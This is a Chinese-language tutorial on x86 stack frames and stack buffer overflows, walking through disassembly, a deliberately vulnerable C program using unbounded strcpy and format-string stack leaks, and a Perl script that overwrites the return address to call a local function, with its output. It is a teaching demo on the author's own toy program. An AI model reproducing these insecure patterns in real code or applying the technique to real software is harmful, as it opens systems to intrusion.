Buffer Overflow通常指的是程序在向一個Buffer寫入數據的時候,超出了Buffer的邊界,從而對超出Buffer范圍的內存進行寫入。Buffer Overflow,會導致程序的一些異常行為,而容易被利用,使得程序遭到攻擊。Buffer Overflow分為Heap和Stack,我這裡主要講解Stack上的Buffer Overflow。
Stack基本工作原理
在講解Buffer Overflow Attack之前,我們需要復習系C語言Stack的工作方式和原理。
在堆棧的操作中,有三個非常重要的寄存器:
•ebp ebp存放的是棧底的地址,ebp是一個靜態寄存器。
•esp esp存放的是棧頂的地址。ebp與esp之間的內存,即為Stack內存空間。ebp和esp確定一個Stack Frame棧幀。
•eip eip是cpu下一步將要執行的地址。
我們通常說,在函數執行調用執行之前,需要保護現場,其中ebp,esp,eip是三個重要的保護對象。
我們還是用一個demo來闡述Stack的工作原理:
1 // stack.h
2 #include <unistd.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5 #include <string.h>
6
7 void plus(int a, int b)
8 {
9 int c = a + b;
10 printf("the plus result = %d\n", c);
11 }
12
13 int main(int argc, char** argv)
14 {
15 int a = 9;
16 int b = 18;
17 plus(a, b);
18
19 return 0;
20 }
編譯命令如下: gcc -g -m32 stack.c 使用objdump dump出來的main和plus函數的匯編代碼如下:
1 080483e4 <plus>:
2 80483e4: 55 push %ebp
3 80483e5: 89 e5 mov %esp,%ebp
4 80483e7: 83 ec 28 sub $0x28,%esp
5 80483ea: 8b 45 0c mov 0xc(%ebp),%eax
6 80483ed: 8b 55 08 mov 0x8(%ebp),%edx
7 80483f0: 01 d0 add %edx,%eax
8 80483f2: 89 45 f4 mov %eax,-0xc(%ebp)
9 80483f5: b8 10 85 04 08 mov $0x8048510,%eax
10 80483fa: 8b 55 f4 mov -0xc(%ebp),%edx
11 80483fd: 89 54 24 04 mov %edx,0x4(%esp)
12 8048401: 89 04 24 mov %eax,(%esp)
13 8048404: e8 f7 fe ff ff call 8048300 <printf@plt>
14 8048409: c9 leave
15 804840a: c3 ret
16
17 0804840b <main>:
18 804840b: 55 push %ebp
19 804840c: 89 e5 mov %esp,%ebp
20 804840e: 83 e4 f0 and $0xfffffff0,%esp
21 8048411: 83 ec 20 sub $0x20,%esp
22 8048414: c7 44 24 18 09 00 00 movl $0x9,0x18(%esp)
23 804841b: 00
24 804841c: c7 44 24 1c 12 00 00 movl $0x12,0x1c(%esp)
25 8048423: 00
26 8048424: 8b 44 24 1c mov 0x1c(%esp),%eax
27 8048428: 89 44 24 04 mov %eax,0x4(%esp)
28 804842c: 8b 44 24 18 mov 0x18(%esp),%eax
29 8048430: 89 04 24 mov %eax,(%esp)
30 8048433: e8 ac ff ff ff call 80483e4 <plus>
31 8048438: b8 00 00 00 00 mov $0x0,%eax
32 804843d: c9 leave
33 804843e: c3 ret
34 804843f: 90 nop
在main函數中,一開始的2條匯編語句:
push %ebp
mov %esp,%ebp
首先是保存調用main函數調用者的棧底ebp,由於main函數的調用者的棧頂esp同時也是main函數的棧底,所有mov %esp,%ebp。此時esp = ebp。
緊接著:
sub $0x20,%esp
由於棧的生長方向是向低地址的方向生長,esp = esp - 0x20。此時,ebp和esp確定了main函數的棧,其大小是32個字節。
之後的幾個movl和mov,分別是給局部變量a,b分配空間和把要傳遞給plus的參數壓棧。 在跳轉到plus函數之前我們得到的main函數的棧內存情況如下:
Alt Text
從上圖中,你會發現,在跳轉到plus函數之前,main函數的棧中多了一個eip。那麼eip是在什麼時候被壓棧的呢? 其實是call操作的結果, call語句等價於下面的2句話:
push %eip
jump 80483e4 <plus>
push %eip是為了保存在plus函數執行完之後,要之下main函數的下一條語句的地址。
在進入plus函數之後,到plus leave之前,我們得到的棧內存情況如下圖:
Alt Text
上面講到的是函數調用,棧的生長情況,在函數執行結束返回的以後,棧的操作恰好跟之前的操作相反。 在plus函數直接結束後,即將返回到main函數,使用了leave和ret。 一條leave語句相當於:
move %ebp,%esp
pop %ebp
讓esp=ebp,相當於將plus的局部變量清楚,最後從棧中pop一個值存放到ebp中。這個值就是進入plus之後的第一條語句push的那個main函數的ebp。 那麼,plus返回了,怎麼才能知道下一條要執行什麼語句呢?ret則做了最後的恢復工作,ret相當於:
pop %eip
eip被重新pop出來,恢復到進入plus函數之前的現場。
Buffer Overflow
上面講解了Stack的基本工作原理,我們再來看看,Linux下內存分布情況:
Alt Text
stack和heap的內存生長方向如圖所示。在編譯器不做保護的情況下,理論上,我們是可以操作stack和heap上的任何內存的。
1 // stack.c
2 #include <unistd.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5 #include <string.h>
6
7
8 void copyCmds(char* str)
9 {
10 char buff[6];
11 printf("\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n\n");
12 strcpy(buff, str);
13 printf("\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n%08x\n\n");
14 }
15
16 void hack()
17 {
18 printf("Hi, I am hacking\n");
19 }
20
21 int main(int argc, char** argv)
22 {
23 if (argc != 2)
24 return 0;
25 printf("copyCmds = %08x\n hack = %08x\n", copyCmds, hack);
26 copyCmds(argv[1]);
27
28 return 0;
29 }
這段代碼,一眼就看出來漏洞在於直接使用了strcpy而沒有對長度進行限制。我這裡僅僅只是拿來演示,如何通過stack overflow來讓hack函數被調用。
我們可以看到,main函數調用了copycmds,根據之前我們對函數調用的分析,在main函數調用copyCmds之前,會將copyCmds返回之後要執行的地址存在eip中,然後push eip。當copyCmds返回之後,直接pop stack放到eip中,繼續執行。如果我們可以改變這個push到stack上的eip的值,那麼我們既可以控制copyCmds函數返回之後的行為,即下一條要執行的語句。
窺探stack內容
在C/C++中,由於printf實現的原因,在printf內部,會從printf的stack上按順序取出printf的參數進行解析。
printf("\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
在copyCmds中,這句話就是用來查看stack上的數據。由於只給printf傳遞了格式化字符串,printf從stack上取出地址,然後按照格式化字符串中的格式進行解析。
另外,我們還可以使用printf查看指定地址的內存單元的內容: printf("\x87\x06\x34\x76 %08x %08x %08x %08x %08x"); 可以用來查看0x76340687處的內存。在c語言中,字符串中使用\x的時候,編譯器會將其替換成hex,然後存放在內存中。 %08x使得printf從stack的頂端開始移動,由於printf的格式化字符串也是存放在stack上的,如果我們通過%08x移動到存放格式化字符串的地方,就可以打印0x76340687處的內存了。我這裡只是假設要到達格式化字符串的存儲位置需要4個%08x, 也就是4個字節,最後一個%08x是用來解釋0x76340687處的內容的。
觸發stack overflow
上面的代碼編譯命令如下:
gcc -g -m32 -fno-stack-protector stack.c
-fno-stack-protector是為了disable編譯器對stack溢出的保護。 我們先執行一遍,查看hack函數的地址:
./a.out hello
我的輸出如下:
copyCmds = 08048444
hack = 08048478
由於c語言命令行字符串轉換原因,我們沒辦法直接在命令行向可執行文件傳遞hex參數。這裡,我借助了perl腳本:
1 $arg = "aaaaaaaaaaaaaaaaaa"."\x78\x84\x04\x08";
2 $cmd = "./a.out ".$arg;
3
4 system($cmd);
perl hack.pl
執行結果如下:
copyCmds = 08048444
hack = 08048478
00000000
ffe0e1a8
f75feeff
f7758a20
08048628
ffe0e198
f75feed0
08048628
f7789918
ffe0e1a8
080484cf
ffe0e443
08048444
08048478
f7757ff4
080484e0
00000000
00000000
f75cb4d3
00000002
ffe0e443
ffe0e1a8
f75feeff
f7758a20
08048628
6161e198
61616161
61616161
61616161
61616161
08048478
ffe0e400
08048444
08048478
f7757ff4
080484e0
00000000
00000000
f75cb4d3
00000002
Hi, I am hacking
其中,perl腳本中字符串a的數量是我試了多次才hack成功。不同的機器上,可能需要overflow的個數不同。